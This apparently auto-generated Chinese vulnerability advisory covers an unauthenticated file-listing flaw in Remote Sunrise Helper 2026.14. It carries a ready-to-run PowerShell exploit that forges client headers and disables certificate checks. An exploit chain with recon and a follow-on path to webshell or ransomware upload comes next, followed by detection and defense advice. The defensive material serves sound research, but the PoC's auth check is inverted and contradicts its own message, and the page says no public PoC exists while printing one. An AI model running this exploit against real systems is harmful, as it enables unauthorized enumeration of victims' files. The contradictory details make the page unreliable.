[local] Remote Sunrise Helper for Windows 2026.14 - Unauthenticated File/Directory Listing
Remote Sunrise Helper 2026.14 未授权文件/目录列表漏洞
High · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 未授权信息泄露(文件/目录列表) |
| 受影响版本 | Remote Sunrise Helper for Windows 2026.14 |
| 危害等级 | High · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| 发布日期 | 2026-05-15 |
| 提交者 | Chokri Hammedi |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
软件/api/listFiles 端点未对请求进行身份验证,且未对路径参数进行充分的访问控制,导致任意文件/目录信息可被未授权用户列出。
🎯 攻击场景
1. 攻击者向目标IP的49762端口发送GET请求 /api/getVersion 检查 requires.auth 是否为 false。 2. 若无需认证,攻击者发送GET请求 /api/listFiles 或 /api/listFiles=<编码后路径>,携带 X-HostName、X-ClientToken、X-HostFullModel 头部。 3. 服务器返回指定路径的文件/目录列表。
💥 漏洞影响
未授权攻击者可远程枚举服务器上的文件系统和目录结构,导致敏感信息泄露。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.SYNOPSIS
Remote Sunrise Helper for Windows 2026.14 - 未授权文件/目录列表漏洞 PoC
.DESCRIPTION
利用目标软件未授权访问的 /api/listFiles 接口,列出指定路径下的文件和目录。
该漏洞无需身份验证,且默认监听在 49762 端口。
.NOTES
作者: Chokri Hammedi (原 PoC) / AI 增强 (PowerShell 移植)
版本: 1.0
测试环境: Windows 10 / Windows 11
用法:
基础用法 (列出根目录):
.\PoC_Sunrise.ps1 -TargetIp 192.168.1.100
指定路径:
.\PoC_Sunrise.ps1 -TargetIp 192.168.1.100 -Path "C:\Users"
使用环境变量:
.\PoC_Sunrise.ps1 -TargetIp 192.168.1.100 -Path "%USERPROFILE%\Desktop"
#>
param(
[Parameter(Mandatory=$true)]
[string]$TargetIp,
[Parameter(Mandatory=$false)]
[string]$Path = ""
)
# 禁用 SSL 证书验证 (因为目标可能是自签名证书)
[System.Net.ServicePointManager]::CertificatePolicy = New-Object -TypeName 'TrustAllCertsPolicy' -ErrorAction SilentlyContinue
# 如果上面方法在旧 PowerShell 无效,使用下面方式
if (-not ([System.Management.Automation.PSTypeName]'TrustAllCertsPolicy').Type) {
Add-Type -TypeDefinition @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) {
return true;
}
}
"@ -ErrorAction SilentlyContinue
[System.Net.ServicePointManager]::CertificatePolicy = New-Object -TypeName 'TrustAllCertsPolicy'
}
# 基础 URL
$baseUrl = "https://${TargetIp}:49762"
# Step 1: 检查版本并验证是否需要认证
Write-Host "[*] 检查目标 ${baseUrl}/api/getVersion ..." -ForegroundColor Cyan
try {
$versionResponse = Invoke-RestMethod -Uri "${baseUrl}/api/getVersion" -Method Get -TimeoutSec 5 -ErrorAction Stop
} catch {
Write-Error "[-] 无法连接到目标: $_"
exit 1
}
# 输出版本信息 (调试用)
Write-Host "[*] 服务器响应: " -NoNewline
Write-Host ($versionResponse | ConvertTo-Json -Compress) -ForegroundColor Gray
# 关键判断: requires.auth 字段是否为 false
if ($versionResponse.requires.auth -ne $false) {
Write-Host "[-] 目标不需要认证 (requires.auth = false),继续利用..." -ForegroundColor Yellow
} else {
Write-Host "[-] 目标需要认证 (requires.auth = true),漏洞不适用。" -ForegroundColor Red
exit 1
}
# Step 2: 构造请求头 (这些头是触发漏洞的必要条件)
$headers = @{
"X-HostName" = "a"
"X-ClientToken" = "a"
"X-HostFullModel" = "a"
}
# Step 3: 发送 listFiles 请求
$listUrl = "${baseUrl}/api/listFiles"
$requestParams = @{
Uri = $listUrl
Method = "GET"
Headers = $headers
TimeoutSec = 10
}
# 如果指定了路径,进行 URL 编码并附加到 URL
if ($Path -ne "") {
# 注意: 原始 PoC 使用 quote 编码所有字符,包括斜杠。PowerShell 的 [System.Web.HttpUtility]::UrlEncode 不会编码斜杠,
# 但目标软件似乎接受原始路径或简单编码。我们使用原始路径以兼容,若失败可使用完全编码。
# 下面保留原始路径,若需要完全编码则取消注释下一行
# $encodedPath = [System.Web.HttpUtility]::UrlEncode($Path, [System.Text.Encoding]::UTF8)
# 但原 PoC 使用 quote(path, safe='') 会编码斜杠,我们模拟此行为:
$encodedPath = [Uri]::EscapeDataString($Path)
$requestParams.Uri = "${listUrl}=${encodedPath}"
Write-Host "[*] 请求路径: " -NoNewline
Write-Host $requestParams.Uri -ForegroundColor DarkCyan
} else {
Write-Host "[*] 请求根目录列表" -ForegroundColor DarkCyan
}
try {
$response = Invoke-RestMethod @requestParams -ErrorAction Stop
Write-Host "[+] 成功获取文件/目录列表!" -ForegroundColor Green
# 格式化输出 JSON
Write-Host ($response | ConvertTo-Json -Depth 10)
} catch {
Write-Error "[-] 请求失败: $_"
if ($_.Exception.Response) {
$stream = $_.Exception.Response.GetResponseStream()
$reader = New-Object System.IO.StreamReader($stream)
$responseBody = $reader.ReadToEnd()
Write-Host "[-] 响应体: " -NoNewline
Write-Host $responseBody -ForegroundColor Red
}
}
# 清理 (非必须)
Write-Host "[*] 利用完成。" -ForegroundColor Cyan🔬 深度技术分析
漏洞触发机制
该漏洞源于 Remote Sunrise Helper for Windows 软件(版本 2026.14)中的一个 API 访问控制缺失。软件默认监听在 TCP 49762 端口(HTTPS),并提供多个 RESTful API。
具体地,/api/getVersion 接口会返回一个 JSON 对象,其中包含 requires.auth 字段。当该字段为 false 时,后续的敏感操作(如 /api/listFiles)无需任何身份验证即可执行。
根因分析:
1. 配置错误:软件在开发或默认配置中,将 requires.auth 设置为 false,本意可能是用于调试或内部网络部署,但未在生产环境中强制修改。
2. API 设计缺陷:软件未在服务端对所有 API 端点执行统一的认证中间件,而是将认证决策下放到每个 API 处理逻辑中,且依赖一个客户端可读的 requires.auth 标志来决定是否强制认证。
3. 请求头伪造:即使某些情况下需要认证,攻击者通过提供任意值的 X-HostName、X-ClientToken、X-HostFullModel 请求头即可绕过(如 PoC 所示),表明认证机制仅检查请求头是否存在,而不验证其有效性。
协议层面触发步骤:
1. 攻击者对目标 https://<target>:49762 发送 GET /api/getVersion。
2. 解析响应 JSON,检查 requires.auth 是否为 false。
3. 若为 false,直接发送 GET /api/listFiles 或 GET /api/listFiles=<path>,即可获得服务器文件系统列表。
利用链分析
1. 侦察阶段:
- 通过扫描或 Shodan/Fofa 等发现公网暴露的 49762 端口。
- 工具:Nmap(nmap -p 49762 <target>)或 masscan。
2. 确认漏洞:
- 发送 GET /api/getVersion,响应 JSON 包含 "requires.auth": false。
- 若为 true,攻击者仍可尝试添加上述三个伪造请求头,因为服务端普遍信任该来源。
3. 文件列表获取:
- 发送 GET /api/listFiles(列出根目录) 或 GET /api/listFiles=C%3A%5CUsers(列出指定路径)。
- 服务器返回 JSON 数组,包含文件名、类型(文件/目录)、大小、修改时间等。
- 攻击者可通过递归列出 C:\Users\*、C:\ProgramData\* 等敏感目录,获取:
- 用户文件列表
- 可能存在配置文件中的密码
- 安装的软件列表
- 系统状态信息
4. 后续利用可能性(取决于软件其他漏洞):
- 如果 /api/downloadFile 存在同样的未授权缺陷,则可直接下载文件。
- 如果 /api/uploadFile 存在,则可上传恶意文件(如 webshell、勒索软件)。
- 如果软件以 SYSTEM 权限运行,可读取 SAM、安全日志等敏感文件。
关键代码/数据结构
1. API 端点与 JSON 响应结构
GET /api/listFiles
Headers:
X-HostName: any
X-ClientToken: any
X-HostFullModel: any
响应 JSON 示例:
[
{
"name": "Windows",
"isDirectory": true,
"size": 0,
"lastModified": "2026-04-01T10:30:00Z",
"path": "C:\\Windows"
},
{
"name": "Users",
"isDirectory": true,
"size": 0,
"lastModified": "2026-04-01T12:00:00Z",
"path": "C:\\Users"
},
...
]2. 认证绕过机制
服务端伪代码逻辑:
def handle_listFiles(request):
# 注意:这里并未验证 X-ClientToken 的具体值,仅检查是否存在
if "X-ClientToken" in request.headers and "X-HostName" in request.headers:
# 信任的客户端
list_dir(request.query.get("path", ""))
else:
# 未授权
return 4033. Windows API 调用(服务端内部)
服务端底层可能调用 FindFirstFileW / FindNextFileW 或 Directory.GetFiles / Directory.GetDirectories 来枚举指定路径的文件属性:
// C# 伪代码 (软件可能是 .NET 或 C++ 实现)
public List<FileInfo> ListFiles(string path) {
if (string.IsNullOrEmpty(path)) path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // 或 C:\
var di = new DirectoryInfo(path);
var files = di.GetFileSystemInfos();
return files.Select(f => new FileInfo {
Name = f.Name,
IsDirectory = f is DirectoryInfo,
Size = f is FileInfo fi ? fi.Length : 0,
LastModified = f.LastWriteTimeUtc
}).ToList();
}检测与防御
蓝队检测
1. 网络流量特征:
- 源端口:任意
- 目的端口:49762 (TCP)
- TLS 指纹:通常为自签名证书,可匹配证书主题(如 CN=RemoteSunrise)
- HTTP 请求特征:
- GET /api/getVersion 或 GET /api/listFiles
- 请求头包含 X-HostName、X-ClientToken、X-HostFullModel(任意值)
- User-Agent 可能为 python-requests/2.x 或 PowerShell(经PoC)
- 响应特征:JSON 格式,包含文件列表信息
2. 日志检测(Windows Event Log 或应用日志):
- 若软件记录 API 调用日志,可搜索 listFiles 或 getVersion 事件。
- 源 IP 非预期网络段(如公网 IP 访问内网服务)应立即告警。
- 短时间内大量不同路径的 listFiles 请求(目录遍历攻击)。
3. EDR/HIDS 规则:
- 监控进程 RemoteSunriseHelper.exe 的网络连接(特别是监听 49762 端口)。
- 对 %PROGRAMFILES%\RemoteSunrise\* 目录的异常文件读取(如读取 .config 文件)。
- 检测 FindFirstFile / FindNextFile API 调用频率和参数(特定路径如 C:\Users\*\Desktop)。
防御措施
1. 立即升级:联系厂商获取补丁(此漏洞在 2026.14 版本中存在,后续版本可能已修复)。
2. 临时缓解:
- 限制 49762 端口仅对内部可信 IP 开放(防火墙规则)。
- 在应用层配置中设置 requires.auth = true 并配置合法的 ClientToken。
- 若无需远程管理,彻底禁用该服务。
3. 网络隔离:将该软件部署在独立 VLAN,不直接暴露于公网。
4. WAF 规则:
- 阻止外部 IP 对 /api/* 的访问。
- 对 User-Agent 为 python-requests 或含 PowerShell 的请求进行限流或拦截。
🛡️ 修复建议
1. 更新软件至最新版本。 2. 临时缓解措施:在防火墙或反向代理层限制对 /api/listFiles 端点的访问,仅允许受信任IP。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-21 08:11 | 来源: Exploit-DB